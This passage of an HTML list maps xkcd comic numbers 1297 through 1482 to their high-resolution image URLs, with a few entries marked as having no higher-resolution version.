&lt;li>1297: &lt;a href="https://imgs.xkcd.com/comics/oort_cloud_2x.png">https://imgs.xkcd.com/comics/oort_cloud_2x.png&lt;/a>&lt;/li>
&lt;li>1298: &lt;a href="https://imgs.xkcd.com/comics/exoplanet_neighborhood_2x.png">https://imgs.xkcd.com/comics/exoplanet_neighborhood_2x.png&lt;/a>&lt;/li>
&lt;li>1299: &lt;a href="https://imgs.xkcd.com/comics/i_dont_own_a_tv_2x.png">https://imgs.xkcd.com/comics/i_dont_own_a_tv_2x.png&lt;/a>&lt;/li>
&lt;li>1300: &lt;a href="https://imgs.xkcd.com/comics/galilean_moons_2x.png">https://imgs.xkcd.com/comics/galilean_moons_2x.png&lt;/a>&lt;/li>
&lt;li>1301: &lt;a href="https://imgs.xkcd.com/comics/file_extensions_2x.png">https://imgs.xkcd.com/comics/file_extensions_2x.png&lt;/a>&lt;/li>
&lt;li>1302: &lt;a href="https://imgs.xkcd.com/comics/year_in_review_2x.png">https://imgs.xkcd.com/comics/year_in_review_2x.png&lt;/a>&lt;/li>
&lt;li>1303: &lt;a href="https://imgs.xkcd.com/comics/profile_info_2x.png">https://imgs.xkcd.com/comics/profile_info_2x.png&lt;/a>&lt;/li>
&lt;li>1304: &lt;a href="https://imgs.xkcd.com/comics/glass_trolling_2x.png">https://imgs.xkcd.com/comics/glass_trolling_2x.png&lt;/a>&lt;/li>
&lt;li>1305: &lt;a href="https://imgs.xkcd.com/comics/undocumented_feature_2x.png">https://imgs.xkcd.com/comics/undocumented_feature_2x.png&lt;/a>&lt;/li>
&lt;li>1306: &lt;a href="https://imgs.xkcd.com/comics/sigil_cycle_2x.png">https://imgs.xkcd.com/comics/sigil_cycle_2x.png&lt;/a>&lt;/li>
&lt;li>1307: &lt;a href="https://imgs.xkcd.com/comics/buzzfeed_christmas_2x.png">https://imgs.xkcd.com/comics/buzzfeed_christmas_2x.png&lt;/a>&lt;/li>
&lt;li>1308: &lt;a href="https://imgs.xkcd.com/comics/christmas_lights_2x.png">https://imgs.xkcd.com/comics/christmas_lights_2x.png&lt;/a>&lt;/li>
&lt;li>1309: &lt;a href="https://imgs.xkcd.com/comics/infinite_scrolling_2x.png">https://imgs.xkcd.com/comics/infinite_scrolling_2x.png&lt;/a>&lt;/li>
&lt;li>1310: &lt;a href="https://imgs.xkcd.com/comics/goldbach_conjectures_2x.png">https://imgs.xkcd.com/comics/goldbach_conjectures_2x.png&lt;/a>&lt;/li>
&lt;li>1311: &lt;a href="https://imgs.xkcd.com/comics/2014_2x.png">https://imgs.xkcd.com/comics/2014_2x.png&lt;/a>&lt;/li>
&lt;li>1312: &lt;a href="https://imgs.xkcd.com/comics/haskell_2x.png">https://imgs.xkcd.com/comics/haskell_2x.png&lt;/a>&lt;/li>
&lt;li>1313: &lt;a href="https://imgs.xkcd.com/comics/regex_golf_2x.png">https://imgs.xkcd.com/comics/regex_golf_2x.png&lt;/a>&lt;/li>
&lt;li>1314: &lt;a href="https://imgs.xkcd.com/comics/photos_2x.png">https://imgs.xkcd.com/comics/photos_2x.png&lt;/a>&lt;/li>
&lt;li>1315: &lt;a href="https://imgs.xkcd.com/comics/questions_for_god_2x.png">https://imgs.xkcd.com/comics/questions_for_god_2x.png&lt;/a>&lt;/li>
&lt;li>1316: &lt;a href="https://imgs.xkcd.com/comics/inexplicable_2x.png">https://imgs.xkcd.com/comics/inexplicable_2x.png&lt;/a>&lt;/li>
&lt;li>1317: &lt;a href="https://imgs.xkcd.com/comics/theft_2x.png">https://imgs.xkcd.com/comics/theft_2x.png&lt;/a>&lt;/li>
&lt;li>1318: &lt;a href="https://imgs.xkcd.com/comics/actually_2x.png">https://imgs.xkcd.com/comics/actually_2x.png&lt;/a>&lt;/li>
&lt;li>1319: &lt;a href="https://imgs.xkcd.com/comics/automation_2x.png">https://imgs.xkcd.com/comics/automation_2x.png&lt;/a>&lt;/li>
&lt;li>1320: &lt;a href="https://imgs.xkcd.com/comics/walmart_2x.png">https://imgs.xkcd.com/comics/walmart_2x.png&lt;/a>&lt;/li>
&lt;li>1321: &lt;a href="https://imgs.xkcd.com/comics/cold_2x.png">https://imgs.xkcd.com/comics/cold_2x.png&lt;/a>&lt;/li>
&lt;li>1322: &lt;a href="https://imgs.xkcd.com/comics/winter_2x.png">https://imgs.xkcd.com/comics/winter_2x.png&lt;/a>&lt;/li>
&lt;li>1323: &lt;a href="https://imgs.xkcd.com/comics/protocol_2x.png">https://imgs.xkcd.com/comics/protocol_2x.png&lt;/a>&lt;/li>
&lt;li>1324: &lt;a href="https://imgs.xkcd.com/comics/weather_2x.png">https://imgs.xkcd.com/comics/weather_2x.png&lt;/a>&lt;/li>
&lt;li>1325: &lt;a href="https://imgs.xkcd.com/comics/rejection_2x.png">https://imgs.xkcd.com/comics/rejection_2x.png&lt;/a>&lt;/li>
&lt;li>1326: &lt;a href="https://imgs.xkcd.com/comics/sharks_2x.png">https://imgs.xkcd.com/comics/sharks_2x.png&lt;/a>&lt;/li>
&lt;li>1327: &lt;a href="https://imgs.xkcd.com/comics/mobile_marketing_2x.png">https://imgs.xkcd.com/comics/mobile_marketing_2x.png&lt;/a>&lt;/li>
&lt;li>1328: &lt;a href="https://imgs.xkcd.com/comics/update_2x.png">https://imgs.xkcd.com/comics/update_2x.png&lt;/a>&lt;/li>
&lt;li>1329: &lt;a href="https://imgs.xkcd.com/comics/standing_2x.png">https://imgs.xkcd.com/comics/standing_2x.png&lt;/a>&lt;/li>
&lt;li>1330: &lt;a href="https://imgs.xkcd.com/comics/kola_borehole_2x.png">https://imgs.xkcd.com/comics/kola_borehole_2x.png&lt;/a>&lt;/li>
&lt;li>1331: No higher res available&lt;/li>
&lt;li>1332: &lt;a href="https://imgs.xkcd.com/comics/slippery_slope_2x.png">https://imgs.xkcd.com/comics/slippery_slope_2x.png&lt;/a>&lt;/li>
&lt;li>1333: &lt;a href="https://imgs.xkcd.com/comics/first_date_2x.png">https://imgs.xkcd.com/comics/first_date_2x.png&lt;/a>&lt;/li>
&lt;li>1334: &lt;a href="https://imgs.xkcd.com/comics/second_2x.png">https://imgs.xkcd.com/comics/second_2x.png&lt;/a>&lt;/li>
&lt;li>1335: No higher res available&lt;/li>
&lt;li>1336: &lt;a href="https://imgs.xkcd.com/comics/transformers_2x.png">https://imgs.xkcd.com/comics/transformers_2x.png&lt;/a>&lt;/li>
&lt;li>1337: &lt;a href="https://imgs.xkcd.com/comics/hack_2x.png">https://imgs.xkcd.com/comics/hack_2x.png&lt;/a>&lt;/li>
&lt;li>1338: &lt;a href="https://imgs.xkcd.com/comics/land_mammals_2x.png">https://imgs.xkcd.com/comics/land_mammals_2x.png&lt;/a>&lt;/li>
&lt;li>1339: &lt;a href="https://imgs.xkcd.com/comics/when_you_assume_2x.png">https://imgs.xkcd.com/comics/when_you_assume_2x.png&lt;/a>&lt;/li>
&lt;li>1340: &lt;a href="https://imgs.xkcd.com/comics/unique_date_2x.png">https://imgs.xkcd.com/comics/unique_date_2x.png&lt;/a>&lt;/li>
&lt;li>1341: &lt;a href="https://imgs.xkcd.com/comics/types_of_editors_2x.png">https://imgs.xkcd.com/comics/types_of_editors_2x.png&lt;/a>&lt;/li>
&lt;li>1342: &lt;a href="https://imgs.xkcd.com/comics/ancient_stars_2x.png">https://imgs.xkcd.com/comics/ancient_stars_2x.png&lt;/a>&lt;/li>
&lt;li>1343: &lt;a href="https://imgs.xkcd.com/comics/manuals_2x.png">https://imgs.xkcd.com/comics/manuals_2x.png&lt;/a>&lt;/li>
&lt;li>1344: &lt;a href="https://imgs.xkcd.com/comics/digits_2x.png">https://imgs.xkcd.com/comics/digits_2x.png&lt;/a>&lt;/li>
&lt;li>1345: &lt;a href="https://imgs.xkcd.com/comics/answers_2x.png">https://imgs.xkcd.com/comics/answers_2x.png&lt;/a>&lt;/li>
&lt;li>1346: &lt;a href="https://imgs.xkcd.com/comics/career_2x.png">https://imgs.xkcd.com/comics/career_2x.png&lt;/a>&lt;/li>
&lt;li>1347: &lt;a href="https://imgs.xkcd.com/comics/t_distribution_2x.png">https://imgs.xkcd.com/comics/t_distribution_2x.png&lt;/a>&lt;/li>
&lt;li>1348: &lt;a href="https://imgs.xkcd.com/comics/before_the_internet_2x.png">https://imgs.xkcd.com/comics/before_the_internet_2x.png&lt;/a>&lt;/li>
&lt;li>1349: No higher res available&lt;/li>
&lt;li>1350: No higher res available&lt;/li>
&lt;li>1351: &lt;a href="https://imgs.xkcd.com/comics/metamaterials_2x.png">https://imgs.xkcd.com/comics/metamaterials_2x.png&lt;/a>&lt;/li>
&lt;li>1352: &lt;a href="https://imgs.xkcd.com/comics/cosmologist_on_a_tire_swing_2x.png">https://imgs.xkcd.com/comics/cosmologist_on_a_tire_swing_2x.png&lt;/a>&lt;/li>
&lt;li>1353: &lt;a href="https://imgs.xkcd.com/comics/heartbleed_2x.png">https://imgs.xkcd.com/comics/heartbleed_2x.png&lt;/a>&lt;/li>
&lt;li>1354: &lt;a href="https://imgs.xkcd.com/comics/heartbleed_explanation_2x.png">https://imgs.xkcd.com/comics/heartbleed_explanation_2x.png&lt;/a>&lt;/li>
&lt;li>1355: &lt;a href="https://imgs.xkcd.com/comics/airplane_message_2x.png">https://imgs.xkcd.com/comics/airplane_message_2x.png&lt;/a>&lt;/li>
&lt;li>1356: &lt;a href="https://imgs.xkcd.com/comics/orbital_mechanics_2x.png">https://imgs.xkcd.com/comics/orbital_mechanics_2x.png&lt;/a>&lt;/li>
&lt;li>1357: &lt;a href="https://imgs.xkcd.com/comics/free_speech_2x.png">https://imgs.xkcd.com/comics/free_speech_2x.png&lt;/a>&lt;/li>
&lt;li>1358: &lt;a href="https://imgs.xkcd.com/comics/nro_2x.png">https://imgs.xkcd.com/comics/nro_2x.png&lt;/a>&lt;/li>
&lt;li>1359: &lt;a href="https://imgs.xkcd.com/comics/phone_alarm_2x.png">https://imgs.xkcd.com/comics/phone_alarm_2x.png&lt;/a>&lt;/li>
&lt;li>1360: &lt;a href="https://imgs.xkcd.com/comics/old_files_2x.png">https://imgs.xkcd.com/comics/old_files_2x.png&lt;/a>&lt;/li>
&lt;li>1361: &lt;a href="https://imgs.xkcd.com/comics/google_announcement_2x.png">https://imgs.xkcd.com/comics/google_announcement_2x.png&lt;/a>&lt;/li>
&lt;li>1362: &lt;a href="https://imgs.xkcd.com/comics/morse_code_2x.png">https://imgs.xkcd.com/comics/morse_code_2x.png&lt;/a>&lt;/li>
&lt;li>1363: &lt;a href="https://imgs.xkcd.com/comics/xkcd_phone_2x.png">https://imgs.xkcd.com/comics/xkcd_phone_2x.png&lt;/a>&lt;/li>
&lt;li>1364: &lt;a href="https://imgs.xkcd.com/comics/like_im_five_2x.png">https://imgs.xkcd.com/comics/like_im_five_2x.png&lt;/a>&lt;/li>
&lt;li>1365: &lt;a href="https://imgs.xkcd.com/comics/inflation_2x.png">https://imgs.xkcd.com/comics/inflation_2x.png&lt;/a>&lt;/li>
&lt;li>1366: &lt;a href="https://imgs.xkcd.com/comics/train_2x.png">https://imgs.xkcd.com/comics/train_2x.png&lt;/a>&lt;/li>
&lt;li>1367: &lt;a href="https://imgs.xkcd.com/comics/installing_2x.png">https://imgs.xkcd.com/comics/installing_2x.png&lt;/a>&lt;/li>
&lt;li>1368: &lt;a href="https://imgs.xkcd.com/comics/one_of_the_2x.png">https://imgs.xkcd.com/comics/one_of_the_2x.png&lt;/a>&lt;/li>
&lt;li>1369: &lt;a href="https://imgs.xkcd.com/comics/tmi_2x.png">https://imgs.xkcd.com/comics/tmi_2x.png&lt;/a>&lt;/li>
&lt;li>1370: &lt;a href="https://imgs.xkcd.com/comics/president_2x.png">https://imgs.xkcd.com/comics/president_2x.png&lt;/a>&lt;/li>
&lt;li>1371: &lt;a href="https://imgs.xkcd.com/comics/brightness_2x.png">https://imgs.xkcd.com/comics/brightness_2x.png&lt;/a>&lt;/li>
&lt;li>1372: &lt;a href="https://imgs.xkcd.com/comics/smartwatches_2x.png">https://imgs.xkcd.com/comics/smartwatches_2x.png&lt;/a>&lt;/li>
&lt;li>1373: &lt;a href="https://imgs.xkcd.com/comics/screenshot_2x.png">https://imgs.xkcd.com/comics/screenshot_2x.png&lt;/a>&lt;/li>
&lt;li>1374: &lt;a href="https://imgs.xkcd.com/comics/urn_2x.png">https://imgs.xkcd.com/comics/urn_2x.png&lt;/a>&lt;/li>
&lt;li>1375: &lt;a href="https://imgs.xkcd.com/comics/astronaut_vandalism_2x.png">https://imgs.xkcd.com/comics/astronaut_vandalism_2x.png&lt;/a>&lt;/li>
&lt;li>1376: &lt;a href="https://imgs.xkcd.com/comics/jump_2x.png">https://imgs.xkcd.com/comics/jump_2x.png&lt;/a>&lt;/li>
&lt;li>1377: &lt;a href="https://imgs.xkcd.com/comics/fish_2x.png">https://imgs.xkcd.com/comics/fish_2x.png&lt;/a>&lt;/li>
&lt;li>1378: &lt;a href="https://imgs.xkcd.com/comics/turbine_2x.png">https://imgs.xkcd.com/comics/turbine_2x.png&lt;/a>&lt;/li>
&lt;li>1379: &lt;a href="https://imgs.xkcd.com/comics/4_5_degrees_2x.png">https://imgs.xkcd.com/comics/4_5_degrees_2x.png&lt;/a>&lt;/li>
&lt;li>1380: &lt;a href="https://imgs.xkcd.com/comics/manual_for_civilization_2x.png">https://imgs.xkcd.com/comics/manual_for_civilization_2x.png&lt;/a>&lt;/li>
&lt;li>1381: &lt;a href="https://imgs.xkcd.com/comics/margin_2x.png">https://imgs.xkcd.com/comics/margin_2x.png&lt;/a>&lt;/li>
&lt;li>1382: &lt;a href="https://imgs.xkcd.com/comics/rocket_packs_2x.png">https://imgs.xkcd.com/comics/rocket_packs_2x.png&lt;/a>&lt;/li>
&lt;li>1383: &lt;a href="https://imgs.xkcd.com/comics/magic_words_2x.png">https://imgs.xkcd.com/comics/magic_words_2x.png&lt;/a>&lt;/li>
&lt;li>1384: &lt;a href="https://imgs.xkcd.com/comics/krypton_2x.png">https://imgs.xkcd.com/comics/krypton_2x.png&lt;/a>&lt;/li>
&lt;li>1385: &lt;a href="https://imgs.xkcd.com/comics/throwing_rocks_2x.png">https://imgs.xkcd.com/comics/throwing_rocks_2x.png&lt;/a>&lt;/li>
&lt;li>1386: &lt;a href="https://imgs.xkcd.com/comics/people_are_stupid_2x.png">https://imgs.xkcd.com/comics/people_are_stupid_2x.png&lt;/a>&lt;/li>
&lt;li>1387: &lt;a href="https://imgs.xkcd.com/comics/clumsy_foreshadowing_2x.png">https://imgs.xkcd.com/comics/clumsy_foreshadowing_2x.png&lt;/a>&lt;/li>
&lt;li>1388: &lt;a href="https://imgs.xkcd.com/comics/subduction_license_2x.png">https://imgs.xkcd.com/comics/subduction_license_2x.png&lt;/a>&lt;/li>
&lt;li>1389: &lt;a href="https://imgs.xkcd.com/comics/surface_area_2x.png">https://imgs.xkcd.com/comics/surface_area_2x.png&lt;/a>&lt;/li>
&lt;li>1390: &lt;a href="https://imgs.xkcd.com/comics/research_ethics_2x.png">https://imgs.xkcd.com/comics/research_ethics_2x.png&lt;/a>&lt;/li>
&lt;li>1391: &lt;a href="https://imgs.xkcd.com/comics/darkness_2x.png">https://imgs.xkcd.com/comics/darkness_2x.png&lt;/a>&lt;/li>
&lt;li>1392: &lt;a href="https://imgs.xkcd.com/comics/dominant_players_2x.png">https://imgs.xkcd.com/comics/dominant_players_2x.png&lt;/a>&lt;/li>
&lt;li>1393: &lt;a href="https://imgs.xkcd.com/comics/timeghost_2x.png">https://imgs.xkcd.com/comics/timeghost_2x.png&lt;/a>&lt;/li>
&lt;li>1394: &lt;a href="https://imgs.xkcd.com/comics/superm_n_2x.png">https://imgs.xkcd.com/comics/superm_n_2x.png&lt;/a>&lt;/li>
&lt;li>1395: &lt;a href="https://imgs.xkcd.com/comics/power_cord_2x.png">https://imgs.xkcd.com/comics/power_cord_2x.png&lt;/a>&lt;/li>
&lt;li>1396: &lt;a href="https://imgs.xkcd.com/comics/actors_2x.png">https://imgs.xkcd.com/comics/actors_2x.png&lt;/a>&lt;/li>
&lt;li>1397: &lt;a href="https://imgs.xkcd.com/comics/luke_2x.png">https://imgs.xkcd.com/comics/luke_2x.png&lt;/a>&lt;/li>
&lt;li>1398: &lt;a href="https://imgs.xkcd.com/comics/snake_facts_2x.png">https://imgs.xkcd.com/comics/snake_facts_2x.png&lt;/a>&lt;/li>
&lt;li>1399: &lt;a href="https://imgs.xkcd.com/comics/chaos_2x.png">https://imgs.xkcd.com/comics/chaos_2x.png&lt;/a>&lt;/li>
&lt;li>1400: &lt;a href="https://imgs.xkcd.com/comics/d_b_cooper_2x.png">https://imgs.xkcd.com/comics/d_b_cooper_2x.png&lt;/a>&lt;/li>
&lt;li>1401: &lt;a href="https://imgs.xkcd.com/comics/new_2x.png">https://imgs.xkcd.com/comics/new_2x.png&lt;/a>&lt;/li>
&lt;li>1402: &lt;a href="https://imgs.xkcd.com/comics/harpoons_2x.png">https://imgs.xkcd.com/comics/harpoons_2x.png&lt;/a>&lt;/li>
&lt;li>1403: &lt;a href="https://imgs.xkcd.com/comics/thesis_defense_2x.png">https://imgs.xkcd.com/comics/thesis_defense_2x.png&lt;/a>&lt;/li>
&lt;li>1404: &lt;a href="https://imgs.xkcd.com/comics/quantum_vacuum_virtual_plasma_2x.png">https://imgs.xkcd.com/comics/quantum_vacuum_virtual_plasma_2x.png&lt;/a>&lt;/li>
&lt;li>1405: &lt;a href="https://imgs.xkcd.com/comics/meteor_2x.png">https://imgs.xkcd.com/comics/meteor_2x.png&lt;/a>&lt;/li>
&lt;li>1406: &lt;a href="https://imgs.xkcd.com/comics/universal_converter_box_2x.png">https://imgs.xkcd.com/comics/universal_converter_box_2x.png&lt;/a>&lt;/li>
&lt;li>1407: &lt;a href="https://imgs.xkcd.com/comics/worst_hurricane_2x.png">https://imgs.xkcd.com/comics/worst_hurricane_2x.png&lt;/a>&lt;/li>
&lt;li>1408: &lt;a href="https://imgs.xkcd.com/comics/march_of_the_penguins_2x.png">https://imgs.xkcd.com/comics/march_of_the_penguins_2x.png&lt;/a>&lt;/li>
&lt;li>1409: &lt;a href="https://imgs.xkcd.com/comics/query_2x.png">https://imgs.xkcd.com/comics/query_2x.png&lt;/a>&lt;/li>
&lt;li>1410: &lt;a href="https://imgs.xkcd.com/comics/california_2x.png">https://imgs.xkcd.com/comics/california_2x.png&lt;/a>&lt;/li>
&lt;li>1411: &lt;a href="https://imgs.xkcd.com/comics/loop_2x.png">https://imgs.xkcd.com/comics/loop_2x.png&lt;/a>&lt;/li>
&lt;li>1412: &lt;a href="https://imgs.xkcd.com/comics/teenage_mutant_ninja_turtles_2x.png">https://imgs.xkcd.com/comics/teenage_mutant_ninja_turtles_2x.png&lt;/a>&lt;/li>
&lt;li>1413: &lt;a href="https://imgs.xkcd.com/comics/suddenly_popular_2x.png">https://imgs.xkcd.com/comics/suddenly_popular_2x.png&lt;/a>&lt;/li>
&lt;li>1414: &lt;a href="https://imgs.xkcd.com/comics/writing_skills_2x.png">https://imgs.xkcd.com/comics/writing_skills_2x.png&lt;/a>&lt;/li>
&lt;li>1415: &lt;a href="https://imgs.xkcd.com/comics/ballooning_2x.png">https://imgs.xkcd.com/comics/ballooning_2x.png&lt;/a>&lt;/li>
&lt;li>1416: No higher res available&lt;/li>
&lt;li>1417: &lt;a href="https://imgs.xkcd.com/comics/seven_2x.png">https://imgs.xkcd.com/comics/seven_2x.png&lt;/a>&lt;/li>
&lt;li>1418: &lt;a href="https://imgs.xkcd.com/comics/horse_2x.png">https://imgs.xkcd.com/comics/horse_2x.png&lt;/a>&lt;/li>
&lt;li>1419: &lt;a href="https://imgs.xkcd.com/comics/on_the_phone_2x.png">https://imgs.xkcd.com/comics/on_the_phone_2x.png&lt;/a>&lt;/li>
&lt;li>1420: &lt;a href="https://imgs.xkcd.com/comics/watches_2x.png">https://imgs.xkcd.com/comics/watches_2x.png&lt;/a>&lt;/li>
&lt;li>1421: &lt;a href="https://imgs.xkcd.com/comics/future_self_2x.png">https://imgs.xkcd.com/comics/future_self_2x.png&lt;/a>&lt;/li>
&lt;li>1422: &lt;a href="https://imgs.xkcd.com/comics/my_phone_is_dying_2x.png">https://imgs.xkcd.com/comics/my_phone_is_dying_2x.png&lt;/a>&lt;/li>
&lt;li>1423: &lt;a href="https://imgs.xkcd.com/comics/conversation_2x.png">https://imgs.xkcd.com/comics/conversation_2x.png&lt;/a>&lt;/li>
&lt;li>1424: &lt;a href="https://imgs.xkcd.com/comics/en_garde_2x.png">https://imgs.xkcd.com/comics/en_garde_2x.png&lt;/a>&lt;/li>
&lt;li>1425: &lt;a href="https://imgs.xkcd.com/comics/tasks_2x.png">https://imgs.xkcd.com/comics/tasks_2x.png&lt;/a>&lt;/li>
&lt;li>1426: &lt;a href="https://imgs.xkcd.com/comics/reduce_your_payments_2x.png">https://imgs.xkcd.com/comics/reduce_your_payments_2x.png&lt;/a>&lt;/li>
&lt;li>1427: &lt;a href="https://imgs.xkcd.com/comics/ios_keyboard_2x.png">https://imgs.xkcd.com/comics/ios_keyboard_2x.png&lt;/a>&lt;/li>
&lt;li>1428: &lt;a href="https://imgs.xkcd.com/comics/move_fast_and_break_things_2x.png">https://imgs.xkcd.com/comics/move_fast_and_break_things_2x.png&lt;/a>&lt;/li>
&lt;li>1429: &lt;a href="https://imgs.xkcd.com/comics/data_2x.png">https://imgs.xkcd.com/comics/data_2x.png&lt;/a>&lt;/li>
&lt;li>1430: &lt;a href="https://imgs.xkcd.com/comics/proteins_2x.png">https://imgs.xkcd.com/comics/proteins_2x.png&lt;/a>&lt;/li>
&lt;li>1431: &lt;a href="https://imgs.xkcd.com/comics/marriage_2x.png">https://imgs.xkcd.com/comics/marriage_2x.png&lt;/a>&lt;/li>
&lt;li>1432: &lt;a href="https://imgs.xkcd.com/comics/the_sake_of_argument_2x.png">https://imgs.xkcd.com/comics/the_sake_of_argument_2x.png&lt;/a>&lt;/li>
&lt;li>1433: &lt;a href="https://imgs.xkcd.com/comics/lightsaber_2x.png">https://imgs.xkcd.com/comics/lightsaber_2x.png&lt;/a>&lt;/li>
&lt;li>1434: &lt;a href="https://imgs.xkcd.com/comics/where_do_birds_go_2x.png">https://imgs.xkcd.com/comics/where_do_birds_go_2x.png&lt;/a>&lt;/li>
&lt;li>1435: &lt;a href="https://imgs.xkcd.com/comics/presidential_alert_2x.png">https://imgs.xkcd.com/comics/presidential_alert_2x.png&lt;/a>&lt;/li>
&lt;li>1436: &lt;a href="https://imgs.xkcd.com/comics/orb_hammer_2x.png">https://imgs.xkcd.com/comics/orb_hammer_2x.png&lt;/a>&lt;/li>
&lt;li>1437: &lt;a href="https://imgs.xkcd.com/comics/higgs_boson_2x.png">https://imgs.xkcd.com/comics/higgs_boson_2x.png&lt;/a>&lt;/li>
&lt;li>1438: &lt;a href="https://imgs.xkcd.com/comics/houston_2x.png">https://imgs.xkcd.com/comics/houston_2x.png&lt;/a>&lt;/li>
&lt;li>1439: &lt;a href="https://imgs.xkcd.com/comics/rack_unit_2x.png">https://imgs.xkcd.com/comics/rack_unit_2x.png&lt;/a>&lt;/li>
&lt;li>1440: &lt;a href="https://imgs.xkcd.com/comics/geese_2x.png">https://imgs.xkcd.com/comics/geese_2x.png&lt;/a>&lt;/li>
&lt;li>1441: &lt;a href="https://imgs.xkcd.com/comics/turnabout_2x.png">https://imgs.xkcd.com/comics/turnabout_2x.png&lt;/a>&lt;/li>
&lt;li>1442: &lt;a href="https://imgs.xkcd.com/comics/chemistry_2x.png">https://imgs.xkcd.com/comics/chemistry_2x.png&lt;/a>&lt;/li>
&lt;li>1443: &lt;a href="https://imgs.xkcd.com/comics/language_nerd_2x.png">https://imgs.xkcd.com/comics/language_nerd_2x.png&lt;/a>&lt;/li>
&lt;li>1444: &lt;a href="https://imgs.xkcd.com/comics/cloud_2x.png">https://imgs.xkcd.com/comics/cloud_2x.png&lt;/a>&lt;/li>
&lt;li>1445: &lt;a href="https://imgs.xkcd.com/comics/efficiency_2x.png">https://imgs.xkcd.com/comics/efficiency_2x.png&lt;/a>&lt;/li>
&lt;li>1446: No higher res available&lt;/li>
&lt;li>1447: &lt;a href="https://imgs.xkcd.com/comics/meta-analysis_2x.png">https://imgs.xkcd.com/comics/meta-analysis_2x.png&lt;/a>&lt;/li>
&lt;li>1448: &lt;a href="https://imgs.xkcd.com/comics/question_2x.png">https://imgs.xkcd.com/comics/question_2x.png&lt;/a>&lt;/li>
&lt;li>1449: &lt;a href="https://imgs.xkcd.com/comics/red_rover_2x.png">https://imgs.xkcd.com/comics/red_rover_2x.png&lt;/a>&lt;/li>
&lt;li>1450: &lt;a href="https://imgs.xkcd.com/comics/ai_box_experiment_2x.png">https://imgs.xkcd.com/comics/ai_box_experiment_2x.png&lt;/a>&lt;/li>
&lt;li>1451: &lt;a href="https://imgs.xkcd.com/comics/background_screens_2x.png">https://imgs.xkcd.com/comics/background_screens_2x.png&lt;/a>&lt;/li>
&lt;li>1452: No higher res available&lt;/li>
&lt;li>1453: &lt;a href="https://imgs.xkcd.com/comics/fmri_2x.png">https://imgs.xkcd.com/comics/fmri_2x.png&lt;/a>&lt;/li>
&lt;li>1454: &lt;a href="https://imgs.xkcd.com/comics/done_2x.png">https://imgs.xkcd.com/comics/done_2x.png&lt;/a>&lt;/li>
&lt;li>1455: &lt;a href="https://imgs.xkcd.com/comics/trolley_problem_2x.png">https://imgs.xkcd.com/comics/trolley_problem_2x.png&lt;/a>&lt;/li>
&lt;li>1456: &lt;a href="https://imgs.xkcd.com/comics/on_the_moon_2x.png">https://imgs.xkcd.com/comics/on_the_moon_2x.png&lt;/a>&lt;/li>
&lt;li>1457: &lt;a href="https://imgs.xkcd.com/comics/feedback_2x.png">https://imgs.xkcd.com/comics/feedback_2x.png&lt;/a>&lt;/li>
&lt;li>1458: &lt;a href="https://imgs.xkcd.com/comics/small_moon_2x.png">https://imgs.xkcd.com/comics/small_moon_2x.png&lt;/a>&lt;/li>
&lt;li>1459: &lt;a href="https://imgs.xkcd.com/comics/documents_2x.png">https://imgs.xkcd.com/comics/documents_2x.png&lt;/a>&lt;/li>
&lt;li>1460: &lt;a href="https://imgs.xkcd.com/comics/smfw_2x.png">https://imgs.xkcd.com/comics/smfw_2x.png&lt;/a>&lt;/li>
&lt;li>1461: No higher res available&lt;/li>
&lt;li>1462: &lt;a href="https://imgs.xkcd.com/comics/blind_trials_2x.png">https://imgs.xkcd.com/comics/blind_trials_2x.png&lt;/a>&lt;/li>
&lt;li>1463: &lt;a href="https://imgs.xkcd.com/comics/altitude_2x.png">https://imgs.xkcd.com/comics/altitude_2x.png&lt;/a>&lt;/li>
&lt;li>1464: &lt;a href="https://imgs.xkcd.com/comics/santa_2x.png">https://imgs.xkcd.com/comics/santa_2x.png&lt;/a>&lt;/li>
&lt;li>1465: &lt;a href="https://imgs.xkcd.com/comics/xkcd_phone_2_2x.png">https://imgs.xkcd.com/comics/xkcd_phone_2_2x.png&lt;/a>&lt;/li>
&lt;li>1466: &lt;a href="https://imgs.xkcd.com/comics/phone_checking_2x.png">https://imgs.xkcd.com/comics/phone_checking_2x.png&lt;/a>&lt;/li>
&lt;li>1467: &lt;a href="https://imgs.xkcd.com/comics/email_2x.png">https://imgs.xkcd.com/comics/email_2x.png&lt;/a>&lt;/li>
&lt;li>1468: &lt;a href="https://imgs.xkcd.com/comics/worrying_2x.png">https://imgs.xkcd.com/comics/worrying_2x.png&lt;/a>&lt;/li>
&lt;li>1469: &lt;a href="https://imgs.xkcd.com/comics/uv_2x.png">https://imgs.xkcd.com/comics/uv_2x.png&lt;/a>&lt;/li>
&lt;li>1470: &lt;a href="https://imgs.xkcd.com/comics/kix_2x.png">https://imgs.xkcd.com/comics/kix_2x.png&lt;/a>&lt;/li>
&lt;li>1471: &lt;a href="https://imgs.xkcd.com/comics/gut_fauna_2x.png">https://imgs.xkcd.com/comics/gut_fauna_2x.png&lt;/a>&lt;/li>
&lt;li>1472: &lt;a href="https://imgs.xkcd.com/comics/geography_2x.png">https://imgs.xkcd.com/comics/geography_2x.png&lt;/a>&lt;/li>
&lt;li>1473: &lt;a href="https://imgs.xkcd.com/comics/location_sharing_2x.png">https://imgs.xkcd.com/comics/location_sharing_2x.png&lt;/a>&lt;/li>
&lt;li>1474: &lt;a href="https://imgs.xkcd.com/comics/screws_2x.png">https://imgs.xkcd.com/comics/screws_2x.png&lt;/a>&lt;/li>
&lt;li>1475: &lt;a href="https://imgs.xkcd.com/comics/technically_2x.png">https://imgs.xkcd.com/comics/technically_2x.png&lt;/a>&lt;/li>
&lt;li>1476: &lt;a href="https://imgs.xkcd.com/comics/ceres_2x.png">https://imgs.xkcd.com/comics/ceres_2x.png&lt;/a>&lt;/li>
&lt;li>1477: &lt;a href="https://imgs.xkcd.com/comics/star_wars_2x.png">https://imgs.xkcd.com/comics/star_wars_2x.png&lt;/a>&lt;/li>
&lt;li>1478: &lt;a href="https://imgs.xkcd.com/comics/p_values_2x.png">https://imgs.xkcd.com/comics/p_values_2x.png&lt;/a>&lt;/li>
&lt;li>1479: &lt;a href="https://imgs.xkcd.com/comics/troubleshooting_2x.png">https://imgs.xkcd.com/comics/troubleshooting_2x.png&lt;/a>&lt;/li>
&lt;li>1480: &lt;a href="https://imgs.xkcd.com/comics/super_bowl_2x.png">https://imgs.xkcd.com/comics/super_bowl_2x.png&lt;/a>&lt;/li>
&lt;li>1481: &lt;a href="https://imgs.xkcd.com/comics/api_2x.png">https://imgs.xkcd.com/comics/api_2x.png&lt;/a>&lt;/li>
&lt;li>1482: &lt;a href="https://imgs.xkcd.com/comics/nowplaying_2x.png">https://imgs.xkcd.com/comics/nowplaying_2x.png&lt;/a>&lt;/li>
